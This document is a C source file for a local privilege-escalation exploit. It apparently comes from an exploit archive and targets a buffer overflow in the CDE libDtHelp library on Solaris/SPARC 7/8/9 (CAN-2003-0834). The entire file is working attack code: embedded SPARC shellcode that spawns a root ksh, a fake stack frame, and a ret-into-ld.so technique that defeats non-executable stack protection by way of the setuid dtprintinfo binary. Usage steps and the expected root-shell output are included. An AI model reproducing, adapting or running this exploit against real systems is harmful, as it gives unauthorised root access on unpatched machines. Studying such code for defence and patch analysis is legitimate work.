Solaris 7/8/9 CDE libDtHelp - Buffer Overflow Non-Exec Stack Privilege Escalation

/*
 * $Id: raptor_libdthelp2.c,v 1.1 2004/12/04 14:44:38 raptor Exp $
 *
 * raptor_libdthelp2.c - libDtHelp.so local, Solaris/SPARC 7/8/9
 * Copyright (c) 2003-2004 Marco Ivaldi <raptor@0xdeadbeef.info>
 *
 * Buffer overflow in CDE libDtHelp library allows local users to execute
 * arbitrary code via a modified DTHELPUSERSEARCHPATH environment variable
 * and the Help feature (CAN-2003-0834).
 *
 * "Stay with non exec, it keeps you honest" -- Dave Aitel (0dd)
 *
 * Possible attack vectors are: DTHELPSEARCHPATH (as used in this exploit),
 * DTHELPUSERSEARCHPATH, LOGNAME (those two require a slightly different
 * exploitation technique, due to different code paths).
 *
 * This is the ret-into-ld.so version of raptor_libdthelp.c, able to bypass
 * the non-executable stack protection (noexec_user_stack=1 in /etc/system).
 *
 * NOTE. If experiencing troubles with null-bytes inside the ld.so.1 memory
 * space, use sprintf() instead of strcpy() (tested on some Solaris 7 boxes).
 *
 * Usage:
 * $ gcc raptor_libdthelp2.c -o raptor_libdthelp2 -ldl -Wall
 * [on your xserver: disable the access control]
 * $ ./raptor_libdthelp2 192.168.1.1:0
 * [on your xserver: enter the dtprintinfo help]
 * # id
 * uid=0(root) gid=1(other)
 * #
 *
 * Vulnerable platforms:
 * Solaris 7 without patch 107178-03 [tested]
 * Solaris 8 without patch 108949-08 [tested]
 * Solaris 9 without patch 116308-01 [tested]
 */

#include <dlfcn.h>
#include <fcntl.h>
#include <link.h>
#include <procfs.h>
#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <unistd.h>
#include <sys/systeminfo.h>

#define INFO1 "raptor_libdthelp2.c - libDtHelp.so local, Solaris/SPARC 7/8/9"
#define INFO2 "Copyright (c) 2003-2004 Marco Ivaldi <raptor@0xdeadbeef.info>"

#define VULN "/usr/dt/bin/dtprintinfo" // default setuid target
#define BUFSIZE 1200     // size of the evil buffer
#define VARSIZE 1024     // size of the evil env vars
#define FFSIZE 64 + 1    // size of the fake frame
#define DUMMY 0xdeadbeef   // dummy memory address

/* voodoo macros */
#define VOODOO32(_,__,___) {_--;_+=(__+___-1)%4-_%4<0?8-_%4:4-_%4;}
#define VOODOO64(_,__,___) {_+=7-(_+(__+___+1)*4+3)%8;}

char sc[] = /* Solaris/SPARC shellcode (12 + 12 + 48 = 72 bytes) */
/* double setuid() */
"\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08"
"\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08"
/* execve() */
"\x20\xbf\xff\xff\x20\xbf\xff\xff\x7f\xff\xff\xff\x90\x03\xe0\x20"
"\x92\x02\x20\x10\xc0\x22\x20\x08\xd0\x22\x20\x10\xc0\x22\x20\x14"
"\x82\x10\x20\x0b\x91\xd0\x20\x08/bin/ksh";

/* globals */
char *env[256];
int env_pos = 0, env_len = 0;

/* prototypes */
int  add_env(char *string);
void check_zero(int addr, char *pattern);
int search_ldso(char *sym);
int search_rwx_mem(void);
void  set_val(char *buf, int pos, int val);

/*
 * main()
 */
int main(int argc, char **argv)
{
 char buf[BUFSIZE], var1[VARSIZE], var2[VARSIZE], ff[FFSIZE];
 char platform[256], release[256], display[256];
 int i, offset, ff_addr, sc_addr, var1_addr, var2_addr;
 int plat_len, prog_len, rel;
 
 char *arg[2] = {"foo", NULL};
 int arg_len = 4, arg_pos = 1;

 int sb = ((int)argv[0] | 0xffff) & 0xfffffffc;
 int ret = search_ldso("strcpy"); /* or sprintf */
 int rwx_mem = search_rwx_mem();

 /* print exploit information */
 fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);

 /* read command line */
 if (argc != 2) {
  fprintf(stderr, "usage: %s xserver:display\n\n", argv[0]);
  exit(1);
 }
 sprintf(display, "DISPLAY=%s", argv[1]);

 /* get some system information */
 sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1);
 sysinfo(SI_RELEASE, release, sizeof(release) - 1);
 rel = atoi(release + 2);

 /* prepare the evil buffer */
 memset(buf, 'A', sizeof(buf));
 buf[sizeof(buf) - 1] = 0x0;
 memcpy(buf, "DTHELPSEARCHPATH=", 17);

 /* prepare the evil env vars */
 memset(var1, 'B', sizeof(var1));
 var1[sizeof(var1) - 1] = 0x0;
 memset(var2, 'C', sizeof(var2));
 var2[sizeof(var2) - 1] = 0x0;

 /* prepare the fake frame */
 bzero(ff, sizeof(ff));

 /*
  * saved %l registers
  */
 set_val(ff, i  = 0, DUMMY);  /* %l0 */
 set_val(ff, i += 4, DUMMY);  /* %l1 */
 set_val(ff, i += 4, DUMMY);  /* %l2 */
 set_val(ff, i += 4, DUMMY);  /* %l3 */
 set_val(ff, i += 4, DUMMY);  /* %l4 */
 set_val(ff, i += 4, DUMMY);  /* %l5 */
 set_val(ff, i += 4, DUMMY);  /* %l6 */
 set_val(ff, i += 4, DUMMY);  /* %l7 */

 /*
  * saved %i registers
  */
 set_val(ff, i += 4, rwx_mem);  /* %i0: 1st arg to strcpy() */
 set_val(ff, i += 4, 0x42424242); /* %i1: 2nd arg to strcpy() */
 set_val(ff, i += 4, DUMMY);  /* %i2 */
 set_val(ff, i += 4, DUMMY);  /* %i3 */
 set_val(ff, i += 4, DUMMY);  /* %i4 */
 set_val(ff, i += 4, DUMMY);  /* %i5 */
 set_val(ff, i += 4, sb - 1000);  /* %i6: frame pointer */
 set_val(ff, i += 4, rwx_mem - 8); /* %i7: return address */

 /* fill the envp, keeping padding */
 sc_addr = add_env(ff);
 var1_addr = add_env(sc);
 var2_addr = add_env(var1);
 add_env(var2);
 add_env(display);
 add_env("PATH=/usr/bin:/bin:/usr/sbin:/sbin");
 add_env("HOME=/tmp");
 add_env(buf);
 add_env(NULL);

 /* calculate the offset to argv[0] (voodoo magic) */
 plat_len = strlen(platform) + 1;
 prog_len = strlen(VULN) + 1;
 offset = arg_len + env_len + plat_len + prog_len;
 if (rel > 7)
  VOODOO64(offset, arg_pos, env_pos)
 else
  VOODOO32(offset, plat_len, prog_len)

 /* calculate the needed addresses */
 ff_addr = sb - offset + arg_len;
 sc_addr += ff_addr;
 var1_addr += ff_addr;
 var2_addr += ff_addr;

 /* set fake frame's %i1 */
 set_val(ff, 36, sc_addr);  /* 2nd arg to strcpy() */
 
 /* fill the evil buffer */
 for (i = 17; i < BUFSIZE - 76; i += 4)
  set_val(buf, i, var1_addr - 5000);
 /* apparently, we don't need to bruteforce */
 set_val(buf, i, ff_addr);
 set_val(buf, i += 4, ret - 4);  /* strcpy(), after the save */

 /* fill the evil env vars */
 for (i = 0; i < VARSIZE - 8; i += 4)
  set_val(var1, i, var2_addr - 500);
 for (i = 0; i < VARSIZE - 8; i += 4)
  set_val(var2, i, ret - 8); /* ret, before strcpy() */

 /* print some output */
 fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release);
 fprintf(stderr, "Using stack base\t: 0x%p\n", (void *)sb);
 fprintf(stderr, "Using var1 address\t: 0x%p\n", (void *)var1_addr);
 fprintf(stderr, "Using var2 address\t: 0x%p\n", (void *)var2_addr);
 fprintf(stderr, "Using rwx_mem address\t: 0x%p\n", (void *)rwx_mem);
 fprintf(stderr, "Using sc address\t: 0x%p\n", (void *)sc_addr);
 fprintf(stderr, "Using ff address\t: 0x%p\n", (void *)ff_addr);
 fprintf(stderr, "Using strcpy() address\t: 0x%p\n\n", (void *)ret);

 /* run the vulnerable program */
 execve(VULN, arg, env);
 perror("execve");
 exit(0);
}

/*
 * add_env(): add a variable to envp and pad if needed
 */
int add_env(char *string)
{
 int i;

 /* null termination */
 if (!string) {
  env[env_pos] = NULL;
  return(env_len);
 }

 /* add the variable to envp */
 env[env_pos] = string;
 env_len += strlen(string) + 1;
 env_pos++;

 /* pad the envp using zeroes */
 if ((strlen(string) + 1) % 4)
  for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) {
   env[env_pos] = string + strlen(string);
   env_len++;
  }

 return(env_len);
}

/*
 * check_zero(): check an address for the presence of a 0x00
 */
void check_zero(int addr, char *pattern)
{
 if (!(addr & 0xff) || !(addr & 0xff00) || !(addr & 0xff0000) ||
     !(addr & 0xff000000)) {
  fprintf(stderr, "Error: %s contains a 0x00!\n", pattern);
  exit(1);
 }
}

/*
 * search_ldso(): search for a symbol inside ld.so.1
 */
int search_ldso(char *sym)
{
 int  addr;
 void  *handle;
 Link_map *lm;

 /* open the executable object file */
 if ((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL) {
  perror("dlopen");
  exit(1);
 }

 /* get dynamic load information */
 if ((dlinfo(handle, RTLD_DI_LINKMAP, &lm)) == -1) {
  perror("dlinfo");
  exit(1);
 }

 /* search for the address of the symbol */
 if ((addr = (int)dlsym(handle, sym)) == NULL) {
  fprintf(stderr, "sorry, function %s() not found\n", sym);
  exit(1);
 }

 /* close the executable object file */
 dlclose(handle);

 check_zero(addr - 4, sym);
 check_zero(addr - 8, sym); /* addr - 8 is the ret before strcpy() */
 return(addr);
}

/*
 * search_rwx_mem(): search for an RWX memory segment valid for all
 * programs (typically, /usr/lib/ld.so.1) using the proc filesystem
 */
int search_rwx_mem(void)
{
 int fd;
 char tmp[16];
 prmap_t map;
 int addr = 0, addr_old;

 /* open the proc filesystem */
 sprintf(tmp,"/proc/%d/map", (int)getpid());
 if ((fd = open(tmp, O_RDONLY)) < 0) {
  fprintf(stderr, "can't open %s\n", tmp);
  exit(1);
 }

 /* search for the last RWX memory segment before stack (last - 1) */
 while (read(fd, &map, sizeof(map)))
  if (map.pr_vaddr)
   if (map.pr_mflags & (MA_READ | MA_WRITE | MA_EXEC)) {
    addr_old = addr;
    addr = map.pr_vaddr;
   }
 close(fd);

 /* add 4 to the exact address NULL bytes */
 if (!(addr_old & 0xff))
  addr_old |= 0x04;
 if (!(addr_old & 0xff00))
  addr_old |= 0x0400;

 return(addr_old);
}

/*
 * set_val(): copy a dword inside a buffer
 */
void set_val(char *buf, int pos, int val)
{
 buf[pos] =      (val & 0xff000000) >> 24;
 buf[pos + 1] =  (val & 0x00ff0000) >> 16;
 buf[pos + 2] =  (val & 0x0000ff00) >> 8;
 buf[pos + 3] =  (val & 0x000000ff);
}